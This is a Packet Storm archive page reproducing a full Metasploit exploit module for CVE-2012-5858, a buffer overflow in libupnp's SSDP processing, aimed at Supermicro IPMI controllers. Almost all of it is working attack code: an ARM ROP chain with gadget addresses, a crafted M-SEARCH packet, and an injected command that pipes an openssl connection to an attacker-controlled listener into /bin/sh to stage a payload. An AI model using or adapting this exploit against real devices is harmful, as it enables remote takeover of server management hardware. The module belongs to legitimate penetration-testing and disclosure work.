Portable UPnP SDK unique_service_name() Remote Code Execution

2013-02-05T00:00:00
ID PACKETSTORM:120055
Type packetstorm
Reporter H D Moore
Modified 2013-02-05T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution',  
'Description' => %q{  
This module exploits a buffer overflow in the unique_service_name()  
function of libupnp's SSDP processor. The libupnp library is used across  
thousands of devices and is referred to as the Intel SDK for UPnP  
Devices or the Portable SDK for UPnP Devices.  
  
Due to size limitations on many devices, this exploit uses a separate TCP  
listener to stage the real payload.  
},  
'Author' => [  
'hdm', # Exploit dev for Supermicro IPMI  
'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI  
'Richard Harman <richard[at]richardharman.com>' # Binaries, system info, testing for Supermicro IPMI  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2012-5858' ],  
[ 'US-CERT-VU', '922681' ],  
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]  
],  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Privileged' => true,  
'Payload' =>  
{  
#  
# # The following BadChars do not apply since we stage the payload  
# # through a secondary connection. This is just for reference.  
#  
# 'BadChars' =>  
# # Bytes 0-8 are not allowed  
# [*(0..8)].pack("C*") +  
# # 0x09, 0x0a, 0x0d are allowed  
# "\x0b\x0c\x0e\x0f" +  
# # All remaining bytes up to space are restricted  
# [*(0x10..0x1f)].pack("C*") +  
# # Also not allowed  
# "\x7f\x3a" +  
# # Breaks our string quoting  
# "\x22",  
  
# Unlimited since we stage this over a secondary connection  
'Space' => 8000,  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
# specific payloads vary widely by device (openssl for IPMI, etc)  
}  
},  
'Targets' =>  
[  
  
[ "Automatic", { } ],  
  
#  
# ROP targets are difficult to represent in the hash, use callbacks instead  
#  
[ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {  
  
# The callback handles all target-specific settings  
:callback => :target_supermicro_ipmi_131,  
  
# This matches any line of the SSDP M-SEARCH response  
:fingerprint =>  
/Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi  
  
#  
# SSDP response:  
# Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1  
# http://192.168.xx.xx:49152/IPMIdevicedesc.xml  
# uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice  
  
# Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)  
  
} ],  
  
[ "Debug Target", {  
  
# The callback handles all target-specific settings  
:callback => :target_debug  
  
} ]  
  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 29 2013'))  
  
register_options(  
[  
Opt::RHOST(),  
Opt::RPORT(1900),  
OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),  
OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])  
], self.class)  
end  
  
  
def exploit  
  
configure_socket  
  
target_info = choose_target  
  
unless self.respond_to?(target_info[:callback])  
print_error("Invalid target specified: no callback function defined")  
return  
end  
  
buffer = self.send(target_info[:callback])  
pkt =  
"M-SEARCH * HTTP/1.1\r\n" +  
"Host:239.255.255.250:1900\r\n" +  
"ST:uuid:schemas:device:" + buffer + ":end\r\n" +  
"Man:\"ssdp:discover\"\r\n" +  
"MX:3\r\n\r\n"  
  
print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")  
  
r = udp_sock.sendto(pkt, rhost, rport, 0)  
  
1.upto(5) do  
::IO.select(nil, nil, nil, 1)  
break if session_created?  
end  
  
# No handler() support right now  
end  
  
  
  
# These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc  
def target_supermicro_ipmi_131  
  
# Create a fixed-size buffer for the payload  
buffer = Rex::Text.rand_text_alpha(2000)  
  
# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()  
buffer[0,1] = '"'  
buffer[1999,1] = '"'  
  
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise  
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])  
  
# Start a listener  
start_listener(true)  
  
# Figure out the port we picked  
cbport = self.service.getsockname[2]  
  
# Restart the service and use openssl to stage the real payload  
# Staged because only ~150 bytes of contiguous data are available before mangling  
cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"  
buffer[432, cmd.length] = cmd  
  
# Adjust $r3 to point from the bottom of the stack back into our buffer  
buffer[304,4] = [0x4009daf8].pack("V") #  
# 0x4009daf8: add r3, r3, r4, lsl #2  
# 0x4009dafc: ldr r0, [r3, #512] ; 0x200  
# 0x4009db00: pop {r4, r10, pc}  
  
# The offset (right-shifted by 2 ) to our command string above  
buffer[284,4] = [0xfffffe78].pack("V") #  
  
# Copy $r3 into $r0  
buffer[316,4] = [0x400db0ac].pack("V")  
# 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1  
# 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4)  
  
# Move our stack pointer down so as not to corrupt our payload  
buffer[320,4] = [0x400a5568].pack("V")  
# 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198  
# 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc}  
  
# Finally return to system() with $r0 pointing to our string  
buffer[141,4] = [0x400add8c].pack("V")  
  
return buffer  
=begin  
00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev  
00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev  
00032000-00055000 rwxp 00000000 00:00 0 [heap]  
40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so  
40015000-40017000 rwxp 00000000 00:00 0  
4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so  
4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so  
4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so  
4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so  
40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so  
40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so  
40036000-40078000 rwxp 00000000 00:00 0  
40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so  
40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so  
40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so  
40185000-40187000 rwxp 00000000 00:00 0  
bd600000-bd601000 ---p 00000000 00:00 0  
bd601000-bd800000 rwxp 00000000 00:00 0  
bd800000-bd801000 ---p 00000000 00:00 0  
bd801000-bda00000 rwxp 00000000 00:00 0  
bdc00000-bdc01000 ---p 00000000 00:00 0  
bdc01000-bde00000 rwxp 00000000 00:00 0  
be000000-be001000 ---p 00000000 00:00 0  
be001000-be200000 rwxp 00000000 00:00 0  
be941000-be956000 rwxp 00000000 00:00 0 [stack]  
=end  
  
end  
  
# Generate a buffer that provides a starting point for exploit development  
def target_debug  
buffer = Rex::Text.pattern_create(2000)  
end  
  
def stage_real_payload(cli)  
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")  
cli.put(payload.encoded + "\n")  
end  
  
def start_listener(ssl = false)  
  
comm = datastore['ListenerComm']  
if comm == "local"  
comm = ::Rex::Socket::Comm::Local  
else  
comm = nil  
end  
  
self.service = Rex::Socket::TcpServer.create(  
'LocalPort' => datastore['CBPORT'],  
'SSL' => ssl,  
'SSLCert' => datastore['SSLCert'],  
'Comm' => comm,  
'Context' =>  
{  
'Msf' => framework,  
'MsfExploit' => self,  
})  
  
self.service.on_client_connect_proc = Proc.new { |client|  
stage_real_payload(client)  
}  
  
# Start the listening service  
self.service.start  
end  
  
#  
# Shut down any running services  
#  
def cleanup  
super  
if self.service  
print_status("Shutting down payload stager listener...")  
begin  
self.service.deref if self.service.kind_of?(Rex::Service)  
if self.service.kind_of?(Rex::Socket)  
self.service.close  
self.service.stop  
end  
self.service = nil  
rescue ::Exception  
end  
end  
end  
  
def choose_target  
# If the user specified a target, use that one  
return self.target unless self.target.name =~ /Automatic/  
  
msearch =  
"M-SEARCH * HTTP/1.1\r\n" +  
"Host:239.255.255.250:1900\r\n" +  
"ST:upnp:rootdevice\r\n" +  
"Man:\"ssdp:discover\"\r\n" +  
"MX:3\r\n\r\n"  
  
# Fingerprint the service through SSDP  
udp_sock.sendto(msearch, rhost, rport, 0)  
  
res = nil  
1.upto(5) do  
res,addr,info = udp_sock.recvfrom(65535, 1.0)  
break if res and res =~ /^(Server|Location)/mi  
udp_sock.sendto(msearch, rhost, rport, 0)  
end  
  
self.targets.each do |t|  
return t if t[:fingerprint] and res =~ t[:fingerprint]  
end  
  
if res and res.to_s.length > 0  
print_status("No target matches this fingerprint")  
print_status("")  
res.to_s.split("\n").each do |line|  
print_status(" #{line.strip}")  
end  
print_status("")  
else  
print_status("The system #{rhost} did not reply to our M-SEARCH probe")  
end  
  
fail_with(Exploit::Failure::NoTarget, "No compatible target detected")  
end  
  
# Accessor for our TCP payload stager  
attr_accessor :service  
  
# We need an unconnected socket because SSDP replies often come  
# from a different sent port than the one we sent to. This also  
# breaks the standard UDP mixin.  
def configure_socket  
self.udp_sock = Rex::Socket::Udp.create({  
'Context' => { 'Msf' => framework, 'MsfExploit' => self }  
})  
add_socket(self.udp_sock)  
end  
  
#  
# Required since we aren't using the normal mixins  
#  
  
def rhost  
datastore['RHOST']  
end  
  
def rport  
datastore['RPORT']  
end  
  
# Accessor for our UDP socket  
attr_accessor :udp_sock  
  
end  
`